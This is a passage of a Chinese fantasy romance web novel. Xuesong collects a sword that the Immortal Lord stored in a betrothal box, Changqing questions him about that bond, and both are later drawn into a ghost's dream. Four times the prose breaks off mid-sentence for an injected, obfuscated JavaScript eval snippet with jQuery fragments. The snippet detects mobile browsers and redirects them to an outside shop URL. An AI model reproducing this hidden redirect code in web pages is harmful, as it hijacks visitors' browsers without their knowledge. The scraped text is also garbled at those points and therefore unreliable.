没想到连仙尊这样的人,喜欢上谁都得这么委婉吗?
不过,也是,仙尊虽然有种种好处,却实实在在是个冷面冷心冷情冷意的,谁要是喜欢上仙尊,谁倒大霉,因为仙尊这种人一看就是一辈子都不会动心的类型啊。
老板感觉自己猛然间发现了一个惊天大秘密,突然兴奋起来,连惊恐都消去不少,露出营业的微笑,总算拿了一点热情招待客人的,以身作则的老板的样子来,恭恭敬敬向仙尊问:“您要存多久呢?”
仙尊垂着眼睛,想了想,声音平静而冷淡说:“时期不定。”
老板愣了一下,感觉对面是在开玩笑,但是以仙尊的性格,也不大可能跟一个小老板开玩笑,以至于突然又有一点感到生命威胁的战战兢兢了,像只随时一蹦就能跳老高的蚂蚱一样,试探着问:“您的意思是?”
仙尊面无表情说:“时机到了,自然会有人来取。”
老板挠了挠头,感觉自己对这种打谜语一样的客人实在是无奈,尤其是这客人还是仙尊的情况下,忍不住叹气说:“可我未必一直干这个呀。”
仙尊周围的温度好像骤然下降了,眯了眯眼睛,冷着脸说:“那在你死之前,把东西送到这。”
他说着,将一张引路符拍在了桌上。
老板把引路符拿起来看了看,触感顺滑冰凉,一定是上好的材质,血红色的纹路十分复杂,看着隐隐让人眼晕,这张符的品质绝对不低。
老板轻轻嗅了嗅,猛然间从这引路符上嗅出了仙尊本人的气息,浑身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553894|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一抖,险些拿不稳这东西,大惊失色,脸色惨白问:“您居然用自己的血来画符?这是不是有点太,太贵重了?”
以仙尊的修为,根本用不着拿自己的血来画符,随便拿个什么东西都一定会有效果,但他用了自己的血。
众所周知,高级修士的血是非常稀有的,因为他们防御强,攻击强,通常不流血,流了血也会立刻就用掉或者清理掉,根本不会留下来,除非特意保存。
但特意保存一定是有用处的,所以市面上流通的,高级修士的血是几乎没有的,而用高级修士的血制作而成的物品,不管是什么都绝对稀有,绝对昂贵,绝对有用,堪称低阶修士保命符一样的存在,一旦有一个流通在外,绝对人人趋之若鹜,大多数时候,那些东西,都掌握在高阶修士的朋友手里,作为礼物或者情谊的证明。
仙尊居然随手就拿出一张用自己的血做的引路符,这岂止是暴殄天物?这简直是目空一切!根本没把任何人任何事放在眼里!
太狂妄了。但这种狂妄落在仙尊这样的人身上,又似乎理所当然。
仙尊面不改色,看了一眼那张引路符,虽然高级修士的血确实稀有,制作出来的物品也确实好,但他靠着系统把制符技能的等级提上去,就是为了给自己做出最好的符咒来用,如今得偿所愿,应该高兴才是,至于贵重,自己用自己的血给自己做的东西,再贵重,又有什么不行的?他就要用贵重的!
因此,他对老板的震惊和惋惜不以为意,十分平静回答:“那柄剑配得上这张符。”
老板愣了一下,忍不住在心里嘀咕。
是那柄剑配得上这张符,还是,那柄剑未来的主人配得上?为了以防万一,连这样贵重的引路符都随手拿出来了,真是用心良苦。
也不知是什么样的人。
老板想到这里,向仙尊问:“来取东西的是什么样的人呢?我总要知道,才好在他来的时候把东西交给他,否则,他来了怎么取呢?”
仙尊面上浮起微微的笑意,如同清晨阳光落在河中浮冰上,连声音也温和了些许,突然冒了一点活人气,语气倒是仍然十分平静回答:“到时候,你看见就知道了。”
老板当时看着仙尊脸上那微不可察的转瞬即逝的笑意,下意识以为自己看错了,但很快又从声音中的温和察觉出来,仙尊提起那个将要来取东西的人的时候,态度确实是不一样的。
老板忍不住好奇起来。
究竟什么样的人,能让仙尊纡尊降贵,来到名不见经传的小山村,将那把一看就是上好的寒光粼粼的剑,存在这里等人来拿?
只是提到,就温和至此?仙尊身边连个稍微亲近一些的朋友都没有,又怎么会有爱人?那来取东西的人,究竟是谁?
老板仔仔细细打量着雪松,忍不住喃喃感慨:“一个字也不错,就是这句话。”
13. 第 13 章
“现在可以把东西给我了吗?”雪松不是很想继续接受老板的目光打量,皱着眉头问。
老板一边把东西找出来,一边侧对着他喃喃自语:“连不耐烦的样子也那么像,就算是孩子,也根本做不到这种地步,如果是崇拜的徒弟,倒是有可能。”
老板说到这里,不由得又看了雪松一眼,忍不住摇了摇头:“不对不对,如果是徒弟,不会长得这样像,仙尊不可能允许,徒弟为了崇拜或者追随,就把本来的面目抹去,变成他的样子,即使那对他而言不算冒犯,也绝不是他希望看见的,不可能是徒弟。”
那就只剩一种可能了,常年相伴相随的存在,或许是朋友,或许是道侣,也有可能是更加纠缠不清的,无法明确定义的关系。
既然如此,仙尊会用那种别的地方当聘礼来的盒子装那把剑,就不奇怪了。
雪松掀开盒子看了一眼,确认自己的剑还在里面,而且就是当年的那一把,没有被替换掉,神色勉强温和了些。
这种稍稍温和的神色,落在一直站在旁边仔细观察他的长青眼里,是十分明显的变化,长青忍不住皱了皱眉。
只是看见了朋友留下来的剑,都能从烦躁变得温和吗?那个朋友就那么重要?哪怕现在根本不在附近,甚至以后都可能不出现?
长青深吸了一口气,微笑着试探问:“这把剑是用来干什么的?”
雪松把盒子连同剑,收进了自己上回从洞府的抽屉里拿走的储物戒指,看了他一眼,有点惊讶而十分理所当然说:“既然是剑,不管用来做什么,都是上好的,总不能没有。”
长青面色如常,微笑着点了点头,又问:“当时来存东西的时候,你和你的朋友一起来的?”
雪松摇了摇头,来存东西的只有仙尊:“我没有来。”
“那你的朋友来了?”长青点点头,又面色温和问。
“我不清楚,”雪松还记得自己之前反复否认过和仙尊有关系的事,所以现在当然不能承认仙尊就是自己朋友,他一脸平静说,“他只是告诉我,东西存在了这里,有空可以来取,还有之前我提过的那些信息,都是他告诉我的。”
长青立刻转头向旁边的老板问:“您既然连当初那一位来存东西的人,最后说的那句话都记得,也一定记得那人是谁吧?”
雪松猛然一惊,他和老板对于存东西的人是仙尊这件事,是心照不宣的,他也能感觉到,长青大概猜出来了,但这无关紧要。
因为只要没有问出来,还是没有什么大不了的,可是这话一旦被问出来,那就不一样了。这等于,他说自己和仙尊没关系的事情要被戳破了!
他下意识一把抓住了长青,试图阻止说:“时间那么久,也许老板已经忘了,还是不要问了。”
长青微笑着拍了拍雪松抓住自己的手,慢条斯理安抚道:“万一记得呢?我看老板的记性很好,应该记得才对。”
稍微有一点朋友的消息就紧张成这样,明明都不记得名字和样貌了,还这么在乎?
究竟是因为身体记得当初导致失忆的剧烈情绪波动,所以下意识抵触仙尊就是朋友的事实,拒绝恢复记忆?
还是在身体里收藏了仙尊的魂魄残余,为了避免被别人发现和引起注意,所以不想承认自己认识仙尊?
还是仙尊当初做了什么对不起他的事,抹除了他的部分记忆,还让他忘掉了名字和长相,只记得好的那一部分,才让他不愿意回忆起来?不管哪种,都很有意思呢。
长青转头向老板,再一次看热闹不嫌事大问:“取东西总不能不知道放东西的人是谁吧?”
老板虽然不知道雪松为什么阻止,但是被长青猛然一问,呆了一下,随后还是回答:“我记得,那个人是仙尊。”
长青拉住了雪松的手,免得他突然逃跑,或者不小心晕倒,缓缓转过脸来,目不转睛注视着他,露出一个野狼捕食兔子似的微笑,充满笃定和志在必得,意味深长道:“原来是仙尊啊!”
雪松听见这话,心脏骤然一紧,有种马甲即将被人掀开的感觉,浑身上下都凉飕飕的,只有一个念头,那就是——
绝对不能被人发现,他就是仙尊!
长青因为雪松拉着他,能很清楚感受到,雪松拽着他的手猛然一紧,情绪上绝对有所触动,不由得咬牙切齿起来,向雪松问:“你不是说,你既不认识仙尊,也和仙尊没有关系吗?”
长青微笑着注视雪松,故意说:“可是,东西是仙尊放的,话是仙尊说的,你的朋友,怎么知道仙尊说的话?又怎么能委托仙尊把东西放在这?要知道——”
说到这里,长青不用照镜子也可以肯定自己脸上的表情绝对近乎于冷笑了:“不管什么时候,仙尊可不会随便接受委托。”
长青这话就差指着鼻子对雪松说,我看你那个朋友就是仙尊!
雪松听他这么一说,反而冷静了些许,想了想,摆出豚鼠一般无辜的神情说:“我不知道。也许是我的朋友认识仙尊吧。”
长青深深叹了一口气:“仙尊认识的人确实不少,但要说,仙尊可能会为认识的人,单独出面,存放一个将来会交给陌生人的东西,恐怕不可能。
且不说仙尊和任何人的关系都没好到这个地步,仙尊为什么这么做?难道是助人为乐?这种事让本人自己去也可以吧?”
长青用一种复杂的神色注视着雪松:“还是说,仙尊就是那个本人?”
雪松垂着眼睛,面不改色,顺着他的话说了下去,不过仍然试图挣扎:“这倒也有可能,但我恐怕高攀不起仙尊。”
老板听了他们的一席话才反应过来,雪松似乎不认为仙尊就是自己的朋友,连忙说:“仙尊虽然没提自己是不是受人所托来存的东西,也没说来取东西的人会是谁,和自己有什么关系,但盒子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553895|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是他给的。”
雪松和长青都转头看向了老板。
老板眨了眨眼睛,有些紧张,舔了舔嘴唇说:“实不相瞒,我看你们好像不知道,那种盒子在我曾经路过的一个地方比较特殊,是用来装聘礼的。
仙尊神通广大,又遨游四海,不可能不知道,既然用了这种盒子来装剑,想必是想借机用盒子对来取东西的人表明自己的心意。
那么,盒子里的剑必然不可能是别人的。除非,仙尊知道,要存这把剑的人,对要取这把剑的人心存爱慕,想要帮忙。”
长青冷笑一声:“聘礼?”
仙尊居然连这种东西都送了出来,难道还想要和雪松结契不成?仙尊对雪松,果然非比寻常!
雪松沉默了。
现在,要么承认仙尊确实就是雪松的朋友,而且对雪松心存爱慕,所以,用了那样的盒子。
要么,承认仙尊确实不是雪松的朋友,但雪松的朋友对雪松心存爱慕,而且仙尊知道,所以仙尊用了那样的盒子。
要么承认仙尊不知道盒子的用途,只是随便用的,仙尊和雪松清清白白,雪松和雪松的朋友也清清白白。
他试探着问:“万一仙尊其实不知道那个盒子有什么用途呢?”
“怎么会呢?”老板有些惊讶:“不管是他自己买的还是别人送的,都不可能没人告诉他,那盒子的用途吧?不然,根本是结仇,谁敢和仙尊结仇呢?”
雪松再次沉默了。
那东西既不是他买的,也不是别人送的,而是系统给的,系统给他在介绍面板讲两句就不错了,怎么可能在给他的时候专门讲一遍这东西有什么用途?即使讲了,他也会为了省事而跳过不听的。
更何况,他每天从系统那里得到的东西不是一个两个,而是一堆,他拿了就放仓库了,根本不会一个一个点开来看,他有的是事情要做,也没那么无聊,反正系统不会害他。
系统确实没有害他,但现在这个情况,不管说什么都好像很奇怪。
长青像是有意要给混乱的场面再添一把火,笑眯眯拉着雪松,意味深长又咬牙切齿说:“你怎么会觉得仙尊不知道盒子的用途呢?
不管仙尊是你的朋友还是仙尊认识你的朋友,你一定和仙尊有关系,可不管是仙尊身边的人还是你自己,在此之前,都认为仙尊和你没有关系。
可见仙尊不想让别人知道的事情就没人知道,天底下恐怕只有仙尊不想知道的事,没有仙尊不知道的!
仙尊专门用这个盒子来装送给你的剑,意图分明,昭然若揭,即使他是仙尊,你也不必这样为他说话。”
雪松看了一眼长青,长青一脸你真是被他害惨了的表情。
雪松犹豫着问:“也许只是东西太多,一时没想起来,随便拿的呢?”
长青冷笑道:“仙尊日理万机都未曾出错,拿东西时就不记得了?”
14. 第 14 章
“对了,”老板掏出一张引路符来,递给雪松说,“仙尊来放东西的时候,我有考虑过改行的事,所以提了一下来取东西的人可能找不到我。
仙尊给了我这个,告诉我,如果我没有等到要来取东西的人,就把东西放到这张符指引的地方去。”
雪松接过了那张符,看了看,老板注视着他,缓缓露出一个微笑,接着说:“现在东西已经交到应该收取的人手上,我也用不上这张符了,就一起转交给你吧,或许你可以去看看,那里还有没有什么留给你的东西。”
虽然老板这个时候已经觉得仙尊一定就是雪松的朋友,但看雪松好像还是不太能接受的样子,想了想当初的事,还是决定帮仙尊一把:“仙尊把盒子拿出来的时候,我也提醒过仙尊,这盒子的颜色如此艳丽,一看就是与婚嫁有关的。
但仙尊毫不犹豫十分肯定说,就用这个,没有一点要换的意思,可见仙尊绝对知道这盒子的用处,说不定就是因为这盒子有这样的用途,才用了这个盒子。”
雪松也想起了当初的事,不由得在心里叹了一口气,原来老板那个时候说颜色,是这个意思,他完全没听出来。
那么委婉,谁听得出来?
老板观察着雪松的神色,顿了顿,又说:“如果那把剑不是仙尊的,仙尊根本不会给盒子,更何况是这样的盒子。
可想而知,盒子和剑一定都是仙尊的,您说东西是您的朋友放的,那仙尊一定是您的朋友,不会有错的。”
雪松不知道应该露出什么样的表情比较好,一脸麻木,有点像被打击疯了。
老板还以为,他这是头一次知晓仙尊对他的爱慕之情,所以震撼得不知如何是好,语重心长劝他:“那把剑一看就是精挑细选的,仙尊对您用情之深,可见一斑。”
“我知道了,”雪松决定破罐破摔,把引路符揣进兜里,面无表情阻止老板,“东西我收下了,你不用再说了。”
老板一脸欣慰,点了点头。
雪松看着老板的表情,忍不住想再辩解一次:“也许仙尊拿那个盒子,只是觉得顺手,并没有别的意思呢?”
老板愣了一下,随后笑了起来,声音温和问:“顺手表明自己的心意吗?那更是情之所至了。您又有什么可担忧的呢?”
雪松沉默了,缓缓看向身边的长青,长青冷笑一声:“这要是顺手,那可真是太顺手了,怎么平时没见他顺手送这种盒子给别人?”
那不是因为平时把这种盒子掏出来,都会被别人认为是精神错乱吗?
雪松无可奈何,摇了摇头,决定离开这里,也许离开这里之后,事情会有所好转:“我想找个地方休息一下。”
“那我们就找个地方休息吧,”长青点了点头,没有意见,并且打算单独领一个房间之后,拿着徽章,和长老讨论讨论今天的情况,对雪松语气十分温和说,“正好我在路上看见了一家店。”
毕竟,雪松的样子一看就是不想讨论的,他总不能强行抓着人讲,不情不愿时候说的话,也未必是真的,他就不费那个力气了。
二人入住旅店,长青住在雪松隔壁,看着雪松进屋之后,立刻把门一关,掏出徽章,把今天的事对长老全都说了。
长老正在一家酒肆,大口喝酒,大口吃肉,满嘴流油,红光满面,醉醺醺听完,觉得不出意外,呵呵一笑,用一种十分老练的语气点评说:“如果雪松失忆是因为情绪波动,拒绝承认仙尊就是朋友,可见他们不是泛泛之交。
如果是因为仙尊魂魄残余,可见,雪松虽然表面上不承认仙尊是朋友,实际上却很护着仙尊。
如果是曾经受了情伤,拒绝承认多半是想要同时拒绝承认仙尊当年给他带来的伤害,可见,他心里还是有仙尊的。”
长老喝了一口酒,啃了一口牛肉,慢吞吞,笑嘻嘻,含糊不清,意味深长做了总结:“这两位的关系,那叫一个纠缠。”
长青沉默了一阵,忽然问:“如果都不是呢,如果全是误会呢?”
长老哈哈大笑:“没有那种可能!事已至此,那么多的证据摆在你面前,你还说是误会,你比我还能掩耳盗铃啊!”
他喝了一口酒,眯着眼睛,摇了摇头,一脸唏嘘,指点自己的徒弟:“掩耳盗铃可没用。”
长青陷入了沉默。
他戳破雪松和仙尊的关系,不过是想要雪松知道,仙尊已经死了,从前的一切,应该人死如灯灭。
他以为,雪松在失忆的情况下,在意识到仙尊就是自己的朋友的时候,应该十分平静,但他现在也记得清清楚楚。
雪松除了反复否认仙尊就是自己的朋友之外,还露出一种像是对一切一无所知的,被豢养的仓鼠一样的,无辜可怜,无能为力又无可奈何的表情,甚至还在人证物证齐全的情况下,努力控制着情绪,想要为仙尊说话。
看起来,简直像是,什么都没有的小孩子张开双臂挡在一个身强力壮的男人面前,对其他人说,你们不要伤害他,实际上,最有可能被伤害,而且可能已经被伤害的,明明是他自己,他却似乎,对此毫无了解。
长青咬了咬牙。
现在的情况明明比之前更糟糕了,雪松没有意识到仙尊就是他的朋友的时候,只在乎朋友,对仙尊是因为常常被人在面前提起的熟悉而感到厌烦,现在雪松不仅渐渐像在乎朋友一样在乎仙尊,甚至仿佛有些怜惜。
长青回忆着之前看见的雪松目光,哪怕只是一瞬间的,他也可以确信自己没有看错,雪松确实在怜惜仙尊。
明明仙尊比雪松强得多,雪松也清清楚楚知道,雪松居然还是会因为别人对他说,仙尊用情至深,而对仙尊感到怜惜!
真是善良柔软的,让人恨不得直接抢到手里的,前所未有无可比拟的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553896|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爱。
可是仙尊都已经死了!一个死人也配得到这样的爱吗?长青实在不太能相信这种事。
长老忽然喊他:“我感觉你隔壁有点不对,谁住在那?”
长青回过神来:“雪松。”
“你有没有看见隔壁飘出来的烟?”长老摸了摸下巴,隔着徽章眯着眼睛,努力辨认情况,同时向他问。
他站起身,把徽章别在胸口,凑到窗边一看,确认了情况:“是迷魂烟,多半有鬼魂,借助烟雾在梦中作祟,幸好范围被局限在房间里,没有扩散出去,不然周围的人都得遭殃,现在必须尽快阻止那个鬼魂才行。”
“雪松应该不可能自己点这种烟,也不知道点烟的鬼究竟想要干什么,不过一定在他梦里,”长老若有所思,“你快进去看看!”
长青点了点头,毫不犹豫入了雪松的梦。
他一出现在梦中,就是凡人之中剑客的打扮,一身白衣,身边带一把剑,剑在鞘中,看起来十分安全,除此之外,两袖清风,身无长物。
他面前是一扇大门,他敲了敲门,一个仆人过来开了门,还没等他说什么,一看见他就露出惊喜的表情,对着院子里大喊:“少爷!你的朋友来了!来找你了!”
那仆人一边说一边往旁边让,笑盈盈对门外的长青说:“请进吧,我们少爷等你很久了。”
长青虽然觉得有点迷惑,但直觉告诉他,这个少爷,说不定就是他要找的,梦境的主人,就点了点头,跨过门槛走了进去。
仆人关了门,一路把他带到了客厅,一个人从客厅的门口走出来,抬头看见了他,笑盈盈走了过来,拉住他说:“长青剑客!你真是叫我好等!上次见你已经是月余以前了吧?”
长青还不太搞得懂情况,看着面前这张雪松的脸,露出完全不属于雪松的神色,一时分不清,这是不是雪松,感到有点迷惑。
他觉得这就是雪松,但雪松即使比仙尊稍微活泼一些,也没活泼到这个地步,这也太热情了,都开朗得真有点像什么都不知道的小少爷了。
还得是家里挺有钱,没什么规矩,不怎么管,想怎么玩儿怎么玩儿,没犯过大事儿,也没受过什么责罚的样子。
“我一路赶来,不太记时间,”长青决定先糊弄着,不管面前是不是雪松,都看看情况再说,就一副好像刚刚想起来,他们确实很熟的样子,拉住对方的手,笑道,“你倒是记得清楚!”
这个看起来像雪松的少爷确实就是雪松,只不过,他因为修为太低,被迷烟迷晕了,进了梦境才发现,自己好像一时出不去。
梦境还给了他一套人设背景,不照做,也不会怎么样,但如果照着做了,他能感觉到有什么东西正在被吸引着靠近。
大概是梦境的制造者,虽然不知道为什么被找上,但如果弄死了罪魁祸首,梦境应该不攻自破,他就演起来了。
15.第 15 章
雪松把长青带到客厅,让仆人给他倒了一杯茶,向他介绍了一下现在的背景:“一个月前,我带仆人上山,进庙烧香,不小心和仆人走散了,之后遇到了你。
你与我结伴同行,到了庙中,烧香拜佛,见到了来找我的仆人,约好一起下山,我还请你到家里做客,你也答应了。
半路上你忽然说有事就走了,我请你有空再来,你也答应了,回家之后左等右等,还以为你不来了,没想到是今天!
真是大喜大喜!”
“原来如此。”长青若有所思,点了点头,将面前的雪松打量了一番。
看外表应该就是雪松,性格虽然不太像,但神色和语调都还有痕迹,大约是点烟的鬼魂,抹除了雪松的记忆,给他灌输了现在的身份背景和记忆,才让他变成了这样,应该没有危险,只是也不能全然信任,还是需要小心。
不过可以暂时相处一阵,看看能不能找到罪魁祸首,毕竟,点烟鬼总不能把人弄成这个样子,就放在这里不管吧?
长青不觉得,一只会靠点烟入梦迷惑人的鬼,可能把选中的猎物简单处理之后,放着不管。肯定还有后手!绝不能掉以轻心!
他笑盈盈向雪松要求住宿,雪松同意了,让仆人给他安排房子,他说要住在雪松隔壁,雪松也同意了,听起来很好说话的样子。
长青看着现在笑盈盈的雪松,有种错觉,哪怕他要求今天晚上和雪松躺在同一张床上,现在提出来,说不定也有机会得到同意。
但这种想法只持续了一瞬间,就被放弃了,他可不愿意趁人之危,不是因为他是君子,只是因为他不喜欢。
更何况,雪松现在看起来完全没有外面的记忆,就算他现在得到了雪松,他又怎么能肯定离开之后,雪松还能记得他?
说不定,雪松想不起来,还好想起来了,反而会恼羞成怒,还是不要做那种损人不利己的事了。
再说,这里也不安全。
长青在雪松家里睡了一晚上,第二天早上起来的时候,仍然只见到仆人,才想起来一个问题,于是去找雪松问:“你的父母呢?”
雪松微笑回答:“他们感情很好,又在经商,出远门去了,一时半会儿不会回来的,你在这里住三年五载,也不见得见到他们。”
长青点了点头,怪不得这里除了雪松就只有仆人,又清静又热闹的,倒也挺悠闲的,当做是来玩儿的,日子也过得下去。
正当他这样想的时候,一个仆人领着一个年轻的姑娘哭哭啼啼过来了。
仆人有些手足无措,站在雪松面前,身后跟着那个低着头,正在一个劲擦眼泪的红着眼睛的姑娘。
雪松把他们两个看了看,目光中有一瞬间的冷淡,随后十分热情走上前,好像真的很关心一样,声音温和问:“发生什么事了?”
仆人指了指旁边的姑娘,对雪松回答:“表小姐说,家中出了事故,所以前来投靠,希望少爷能够收留。”
雪松于是看向那个姑娘,好像他们真的很熟悉一样,目光温和关切,却并不靠近,以免唐突,用一种十分亲近的语气问:“是什么事故?怎么一个仆人也没带?是怎么来的?”
姑娘擦了擦眼泪,对他行了一礼,柔柔弱弱又十分可怜,声音里还带着哭腔,忍着哽咽,分外悲伤似的说:“实不相瞒,母亲病故,父亲失踪,家中乱成一团,哥哥勉强支撑大局,但恐怕自己无力回天,所以派人送我过来,请求表哥庇护。
至于仆人,为了尽快来到这里,所以轻装简行,只有一个马夫把我送到这里,人就回去了。”
“那你哥哥?”雪松略有些迟疑。
“如今我家是长兄为父,”那姑娘叹了一口气,一副身若浮萍的样子,无可奈何说,“他是能走也不愿意走的,何况现在家里离了他不行,他完全走不了。”
雪松点了点头。
那姑娘忽然朝雪松扑了过去,跪在雪松面前哭着说:“看在你我两家曾有婚约的份上,收留我吧!离开这儿,我也没地方可去!”
雪松连忙对旁边的丫鬟招手,小丫鬟过来把姑娘从地上扶了起来,那姑娘还要再跪,雪松就一脸不忍,伸出手阻止说:“那就留下来吧!”
姑娘哭着擦了擦眼泪,含情脉脉望着他,十分感激说:“谢谢!”
“不客气,”雪松摆了摆手,一副什么都听不出来的样子,“你我本来就是亲戚,何况还有婚约,如今你家遭此大难,我怎么能不伸出援手呢?想必你风尘仆仆赶来也累了,洗漱洗漱快去休息一阵吧!”
姑娘依依不舍,点了点头,被小丫鬟扶走了,雪松让管家给那姑娘安排个房间,管家点了点头,也不知怎么想的,把姑娘的房间安排在雪松隔壁空着的那间房里去了。
这下,雪松左右都住着人了。
他莫名有种被监视的感觉。
管家一脸骄傲来邀功的时候,雪松实在无可奈何,又觉得好笑,对他说:“人家姑娘年纪轻轻住在我隔壁,你觉得合适吗?”
管家一脸理所当然说:“少爷与表小姐年纪相仿,又有婚约,如今小姐来投奔,不就是想要早早成婚?二位可以培养培养感情嘛!”
看样子没有直接安排表小姐住在雪松的房间里,已经算是管家克制过后的结果了。
雪松呵的笑了一声,慢条斯理问:“看来我还要感谢你记得男女大防,没叫人家小姐年纪轻轻就在我这里失去声誉!是不是啊?”
管家总算意识到他的意思,有些疑惑问:“难道您不希望早早成亲吗?老爷和夫人可是早就盼着抱孙子了!您之前也很乐意啊?怎么如今,未婚妻都上门来了,您还改主意了?”
雪松呵呵呵笑了起来,按照他现在这个想结婚想要抱孩子的少爷人设,他如果说自己改主意,那就是坏人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16558154|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
设了。
他演都演了大半了,怎么会愿意在这里破坏掉自己费劲推进的剧情?真要是直接破坏掉,那不就被看出破绽了吗?
不过他现在已经确定那个突然冒出来,说自己家里出了事来投奔的表小姐,多半是罪魁祸首。
只是对面看起来好像,对梦境之外的事情一无所知,他打算等等,看看对面究竟要干什么,总不会真要跟他结婚吧?
那可真是太惊悚了!不过如果把人骗得团团转,再在最后时刻揭开真相,狠狠把人捅一刀弄死,结束一切,那一定很有意思。
“我没有改主意啊,”雪松轻轻摇了摇头,一脸微笑,面上带着回忆,对管家十分愉悦说,“我现在也想早点成亲,也想早点抱孩子,但我觉得这个未婚妻也许是别人装来骗我的,真正的表妹被困在一个我们都还没有看见的地方。”
管家愣了一下,没想到他会说这个,十分恍惚,喃喃道:“可是,我觉得那个表小姐是真的呀。”
“我和表妹,毕竟是未婚夫妻,”雪松一脸坚持,摇了摇头,非常认真说,“我不会认错人的!”
为了取信于人,雪松想象了一下喜欢别人时应该露出的表情,不由自主想到了如果演不出喜欢的表情就会失去系统这种事,露出了一个再真诚也没有的毫无破绽的爱慕的表情,一脸欢欣鼓舞的雀跃,仿佛想到了真正的表妹,充满希望和期待,好像想到了和表妹结婚的场景,对管家说:“我可是从见到表妹的第一眼就一见钟情啊!”
站在不远处的长青看见雪松的表情,瞳孔地震。
他从来都没有见过雪松露出那么真诚的爱慕的表情,哪怕是没有进入梦境时的雪松,提到仙尊都不会露出这种表情。
这绝对装不出来吧?雪松绝对是想到爱人了吧?那个爱人绝对是仙尊吧?他们根本就是两情相悦吧?不然雪松从哪里练的演技?
明明刚见面的时候,看起来完全没有记忆的样子,居然在爱慕仙尊这一点上,不管有没有失忆,都保持了绝对一致吗?
甚至在完全失忆之后,反而摒除了世俗和道德的限制,暴露出了真正的本心,连感情也迫不及待汹涌而出了吗?
以至于对于一个完全不认识的,恐怕根本不值得信任的管家,把自己的真正想法直接在脸上显示出来吗?
随后,长青还没来得及做什么,听见雪松说的话,更加大惊失色。
一见钟情?那个表小姐?相处时间连一刻钟也没有吧?
喜欢那个不知道从哪里冒出来的,不管是脸还是身材还是修为,都完全比不过仙尊的表妹吗?根本不可能!没有人会相信!
雪松一定是被点烟鬼抹除了记忆又迷惑了!
虽然喜欢仙尊,但是被抹除记忆之后,只记得喜欢,却不知道喜欢谁,以至于被迷惑之后,以为自己喜欢表妹,而不是仙尊,才会这样说吧?绝对是吧!
16.第 16 章
管家愣了半天,缓缓回过神来,疑惑犹豫又小心翼翼,看着面前的雪松,试探着问:“那您认为真正的表小姐应该是什么样的呢?”
雪松笑了一声,早有应对,回答道:“表妹又高又瘦,十分美丽,常爱穿一袭白衫,身强体壮,力大如牛,不喜与人交谈,最爱冷着一张脸,让人看了就忍不住为之仰首!”
长青倒吸了一口冷气。
这种种描述,不就是照着仙尊来的吗?除了仙尊还能有谁?和那个表妹根本一点关系都没有!果然雪松喜欢的只有仙尊!
雪松顿了顿,好像在回忆自己有没有说漏什么部分,随后十分肯定回答道:“不会有错的,一定就是这样,我记得清清楚楚!”
长青若有所思。
雪松虽然说自己记得清楚,但把仙尊当做表妹,明明就是记得不清楚,但在记得这样不清楚的情况下,还记得仙尊的特点?
雪松果然对仙尊念念不忘!如果不是日思夜想,又怎么对仙尊的特点如数家珍呢?
要知道,了解仙尊情况的人,对仙尊只有畏惧和敬佩,不可能用仙尊的特点来描述自己喜欢的人。
不了解仙尊情况的人,对仙尊的特点十分模糊,即使有胆子借着描述心爱之人的名头来描述仙尊,也不可能说得那么清楚详细。
管家双眼发直,想象了一下雪松对他描述出来的人,觉得和现在的表小姐确实根本就是两个人,但管家想了想从前听说过的,表小姐的传闻,欲言又止说:“可是传闻中表小姐是个身量芊芊弱柳扶风的女子,怎么会是少爷说的那样?”
雪松呵呵笑了起来:“那就是你不懂了,在外人面前和熟人面前怎么能是同一个样子?
我和表妹毕竟有婚约,又自小相识,表妹在我面前怎么可能像在别人面前那样隐藏自己的本性呢?
更何况,我就喜欢表妹这样的,表妹知道,没有必要改,更不可能改,又怎么会变成现在这样?”
长青听闻此言,不由得啧了一声。
雪松只是记不起仙尊容貌姓名的时候,连认识仙尊这种事都要否认,现在什么都不记得了,倒是什么都往外说了。
在外人和熟人面前不是同一种样子?
新冒出来那个表小姐,或许表里不一,但对外和对内差别应该在于,对外柔弱无辜,对内阴狠毒辣。
而不是对外娇羞怯懦,对内冷冷淡淡,这根本说不通,因为一个冷淡的人,是不可能装得出娇羞怯懦的样子来的。
